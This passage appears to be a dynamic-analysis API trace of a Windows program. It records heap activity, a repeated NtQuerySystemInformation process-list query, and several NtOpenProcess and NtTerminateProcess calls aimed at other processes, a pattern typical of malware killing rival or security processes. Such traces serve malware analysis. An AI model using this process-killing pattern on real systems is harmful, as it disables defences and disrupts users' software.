	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876e50
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e50) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28775a0
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28775a0) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2878128
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878128) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x28776a0
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28776a0) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0064.922] NtOpenProcess (in: ProcessHandle=0x42afe50, DesiredAccess=0x1, ObjectAttributes=0x42afe30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x42afe48*(UniqueProcess=0xc28, UniqueThread=0x0) | out: ProcessHandle=0x42afe50*=0x334) returned 0x0
	[0064.922] NtTerminateProcess (ProcessHandle=0x334, ExitStatus=0x0) returned 0xc000010a
	[0064.922] NtClose (Handle=0x334) returned 0x0
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877170
	[0064.922] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877170) returned 1
	[0064.922] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879560
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2877148
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877008
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877660
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877fa8
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877fa8) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881ec0
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881ec0) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x2879698
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879698) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876ec8
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2877008
	[0064.923] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0064.923] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.923] NtOpenProcess (in: ProcessHandle=0x42afe50, DesiredAccess=0x1, ObjectAttributes=0x42afe30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x42afe48*(UniqueProcess=0x6bc, UniqueThread=0x0) | out: ProcessHandle=0x42afe50*=0x334) returned 0x0
	[0064.923] NtTerminateProcess (ProcessHandle=0x334, ExitStatus=0x0) returned 0xc000010a
	[0064.923] NtClose (Handle=0x334) returned 0x0
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876fb8
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877660
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876cc0
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876cc0) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2877148
	[0064.924] NtOpenProcess (in: ProcessHandle=0x42afe50, DesiredAccess=0x1, ObjectAttributes=0x42afe30*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x42afe48*(UniqueProcess=0xeac, UniqueThread=0x0) | out: ProcessHandle=0x42afe50*=0x334) returned 0x0
	[0064.924] NtTerminateProcess (ProcessHandle=0x334, ExitStatus=0x0) returned 0xc000010a
	[0064.924] NtClose (Handle=0x334) returned 0x0
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876fb8
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876fb8) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876e00
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e00) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x28770a8
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770a8) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877008
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877660
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x26) returned 0x2877f48
	[0064.924] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877f48) returned 1
	[0064.924] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2878128
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2878128) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877660
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1e) returned 0x2876d88
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876d88) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2c) returned 0x2881b08
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b08) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x24) returned 0x2877d08
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877d08) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877660
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877520
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877520
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2877e88
	[0064.925] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877e88) returned 1
	[0064.925] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x16) returned 0x2877660
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x28) returned 0x28781e8
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28781e8) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877660
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876f68
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f68) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877148
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2877008
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x28770d0
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28770d0) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2e) returned 0x2881b08
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b08) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x22) returned 0x2877d08
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877d08) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x2879560
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1c) returned 0x2876f18
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f18) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.926] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.926] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.927] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.927] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.927] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.927] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877008
	[0064.927] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0064.927] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2a) returned 0x2881b40
	[0064.927] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2881b40) returned 1
	[0064.927] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876ec8
	[0064.927] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876ec8) returned 1
	[0064.927] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2876e00
	[0064.927] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876e00) returned 1
	[0064.927] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877520
	[0064.927] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0064.927] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2882158) returned 1
	[0064.928] Sleep (dwMilliseconds=0x64) 
	[0065.045] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1024) returned 0x287af68
	[0065.045] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x287af68, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x287af68, ResultLength=0x0) returned 0xc0000004
	[0065.045] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x287af68, Size=0x2048) returned 0x2882158
	[0065.046] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.046] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x306c) returned 0x2882158
	[0065.046] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.046] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x4090) returned 0x2882158
	[0065.047] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.047] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x50b4) returned 0x2882158
	[0065.047] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.047] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x60d8) returned 0x2882158
	[0065.047] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.047] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x70fc) returned 0x2882158
	[0065.047] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.048] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x8120) returned 0x2882158
	[0065.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.048] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x9144) returned 0x2882158
	[0065.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.048] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xa168) returned 0x2882158
	[0065.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.049] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xb18c) returned 0x2882158
	[0065.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.074] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xc1b0) returned 0x2882158
	[0065.074] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.074] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xd1d4) returned 0x2882158
	[0065.074] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.075] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xe1f8) returned 0x2882158
	[0065.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.075] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xf21c) returned 0x2882158
	[0065.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.076] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x10240) returned 0x2882158
	[0065.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.076] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x11264) returned 0x2882158
	[0065.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.076] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x12288) returned 0x2882158
	[0065.076] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.077] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x132ac) returned 0x2882158
	[0065.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.077] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x142d0) returned 0x2882158
	[0065.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.078] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x152f4) returned 0x2882158
	[0065.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.078] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x16318) returned 0x2882158
	[0065.078] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.079] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1733c) returned 0x2882158
	[0065.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.079] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x18360) returned 0x2882158
	[0065.079] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.079] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x19384) returned 0x2882158
	[0065.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.080] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1a3a8) returned 0x2882158
	[0065.080] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.081] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1b3cc) returned 0x2882158
	[0065.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.081] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1c3f0) returned 0x2882158
	[0065.081] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.082] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1d414) returned 0x2882158
	[0065.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.082] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1e438) returned 0x2882158
	[0065.082] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.082] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1f45c) returned 0x2882158
	[0065.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.083] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x20480) returned 0x2882158
	[0065.083] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.083] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x214a4) returned 0x2882158
	[0065.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.084] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x224c8) returned 0x2882158
	[0065.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.085] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x234ec) returned 0x2882158
	[0065.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0065.085] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x24510) returned 0x2882158
	[0065.085] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0x0
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x2) returned 0x2866720
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2866720) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x2879560
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2879560) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877520
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2877660
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877660) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877148
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877148) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1a) returned 0x2877008
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877008) returned 1
	[0065.086] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14) returned 0x2877520
	[0065.086] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877520) returned 1
